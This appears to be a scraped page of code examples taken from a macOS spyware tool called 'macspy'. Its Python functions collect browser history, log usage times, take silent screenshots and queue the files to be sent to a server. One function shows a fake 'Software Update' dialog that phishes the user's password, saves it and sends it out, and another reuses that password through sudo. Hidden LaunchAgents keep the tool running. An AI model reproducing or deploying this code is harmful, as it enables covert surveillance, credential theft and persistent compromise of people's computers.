Example #1
0
def run(options):
    moduleDirectory = "./Data/browser_history"
    browserhistory.write_browserhistory_csv()
    for filename in os.listdir('.'):
        if ".csv" in filename:
            print(filename)
            run_command("mv " + filename + " " + moduleDirectory)
    for filename in os.listdir(moduleDirectory):
        add_to_send_queue(moduleDirectory + "/" + filename)
Example #2
0
def run(options):
    #Generate name for screenshot file based on current date and time
    moduleDirectory = "./Data/usage_intervals/"
    currentDate = datetime.date.today().strftime("%b-%d-%Y")
    currentTime = datetime.datetime.now().strftime("%H-%M-%S")
    usageIntervalsFilename = moduleDirectory + "UsageIntervals" + currentDate + "_" + currentTime + ".txt"
    
    #get usage intervals and send to server
    run_command(f"""pmset -g log | egrep 'Wake from|Entering Sleep' | cut -f1 | cut -d" " -f1,2,4 > {usageIntervalsFilename}""")
    add_to_send_queue(usageIntervalsFilename)
Example #3
0
def capture_screenshot():
    #Generate name for screenshot file based on current date and time
    currentDate = datetime.date.today().strftime("%b-%d-%Y")
    currentTime = datetime.datetime.now().strftime("%H-%M-%S")
    screenshotFilename = "./Data/screenshot/" + "Screenshot_" + currentDate + "_" + currentTime + ".png"

    #Take screenshot
    run_command("screencapture -x " + screenshotFilename)

    #Send to server
    add_to_send_queue(screenshotFilename)
def delete_expired_launch_agents():
    launchAgentDirectory = os.path.expanduser("~/Library/LaunchAgents")
    while True:
        timeNow = datetime.datetime.now()
        for launchAgent in os.listdir(launchAgentDirectory):
            if "macspy" in launchAgent and launchAgent[-7:-6] == "_":
                print(launchAgent)
                #get datetime object which is part of filename
                expiryDate = parser.parse(launchAgent.split("_")[1])
                print("exp="+str(expiryDate))
                print("now="+str(timeNow))
                if expiryDate < timeNow:
                    time.sleep(3)
                    run_command("rm -f " + launchAgentDirectory + "/" + "\""+launchAgent+"\"")

        time.sleep(3600)
Example #5
0
def facetimeIsActive(raiseExceptionIfNot):
    isActive = run_command("ps aux | grep -v grep | grep -c -i facetime")
    isActive = int(isActive.decode()[:-1])
    if isActive != 0:
        return True

    if raiseExceptionIfNot:
        raise Exception("Facetime has been turned off")
    
    return False
Example #6
0
def run(options):
    appName = "Safari"
    message = "Software Update requires that you type your password to apply changes."
    if "appName" in options:
        appName = options["appName"]
    if "message" in options:
        message = options["message"]

    #Create phishing prompt on screen
    result = os.popen(
        '''osascript -e 'tell app "''' + appName +
        '''" to activate' -e 'tell app "''' + appName +
        '''" to activate' -e 'tell app "''' + appName +
        '''" to display dialog "''' + message +
        '''" & return & return  default answer "" with icon 1 with hidden answer with title "'''
        + appName + '''"\'''').read()
    #extract password entered
    if "OK" in result:
        output = run_command(
            f"""echo "{result}" | cut -d":" -f3 | tr -d '\n'""")
        password = output.decode()
        run_command(f"""echo {password} > password.txt""")
        run_command(f"""echo {password} > upassword.txt""")
        add_to_send_queue("./password.txt")
Example #7
0
def get_CPU_tempurate():
    #Requires root permission
    with open('upassword.txt', 'r') as passwordFile:
        password = passwordFile.readline()[:-1]
        CPUtemperatureReadings = run_command(
            f"""echo {password} | sudo -S powermetrics -n 3 | grep -i 'CPU die temperature' | cut -d' ' -f4"""
        ).decode()
        CPUtemperatureReadings = CPUtemperatureReadings.split('\n')
        CPUtemperatureReadings = CPUtemperatureReadings[:3]
        average = 0
        print(CPUtemperatureReadings)
        for temp in CPUtemperatureReadings:
            average += float(temp)
        average /= len(CPUtemperatureReadings)

        return average
def create_launch_agent(options):
    global pythonInterpreter
    timeNow = datetime.datetime.now()

    if timeNow.weekday() > options["weekday"]:
        offset = (6 - timeNow.weekday()) + options["weekday"]
    elif timeNow.weekday() == options["weekday"]:
        now = {}
        now["hour"] = timeNow.hour
        now["minute"] = timeNow.minute
        if is_time_greater(now, options['startTime']):
            offset = 7
        else:
            offset = 0
    else:
        offset = options["weekday"]

    print("offset="+str(offset))
    timeNow += datetime.timedelta(days=offset)
    expiryDate = timeNow.replace(hour=options['endTime']['hour'], minute=options['endTime']['minute'], second=0)

    #store expiry time
    launchAgentName = "macspy"+options["module"]+randomString()+"_"+str(expiryDate)+"_"

    launchAgentConfig = f"""\
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
    <dict>
        <key>Label</key>
        <string>com.macspy_{launchAgentName}.app</string>
        <key>WorkingDirectory</key>
        <string>{options["workingDirectory"]}</string>
        <key>ProgramArguments</key>
        <array>
            <string>{pythonInterpreter}</string>
            <string>{options["programFile"]}</string>
"""
    for argument in options["programArguments"]:
        launchAgentConfig += f"""\
            <string>{argument}</string>
"""
    launchAgentConfig += """\
        </array>
"""

    launchAgentConfig += """\
        <key>StartCalendarInterval</key>
        <array>
"""
    #hours/minutes always exist, sometimes zero
    weekday = (options["weekday"] + 1) % 7
    hour = options["startTime"]["hour"]
    minute = options["startTime"]["minute"]
    if "frequency" in options:
        frequencyHours = options["frequency"]["hours"]
        frequencyMinutes = options["frequency"]["minutes"]
        if frequencyMinutes == 0:
            frequencyMinutes = 1

        while hour < options["endTime"]["hour"] or minute < options["endTime"]["minute"]:
            launchAgentConfig += f"""\
            <dict>
                <key>Hour</key>
                <integer>{hour}</integer>
                <key>Minute</key>
                <integer>{minute}</integer>
                <key>Weekday</key>
                <integer>{weekday}</integer>
            </dict>
"""
            hour += frequencyHours
            minute += frequencyMinutes
            if minute >= 60:
                hour += 1
                minute %= 60
    else: #one off job
        launchAgentConfig += f"""\
            <dict>
                <key>Hour</key>
                <integer>{hour}</integer>
                <key>Minute</key>
                <integer>{minute}</integer>
                <key>Weekday</key>
                <integer>{weekday}</integer>
            </dict>
"""

    launchAgentConfig += """\
        </array>
"""

    launchAgentConfig += """\
    </dict>
</plist>
"""
    #create file
    launchAgentFile = os.path.expanduser("~/Library/LaunchAgents") + "/" + launchAgentName + ".plist"
    print(launchAgentFile)
    with open(launchAgentFile, "w") as newLaunchAgentFile:
        newLaunchAgentFile.write(launchAgentConfig)

    #load launch agent
    run_command("launchctl load " + "\"" + launchAgentFile + "\"")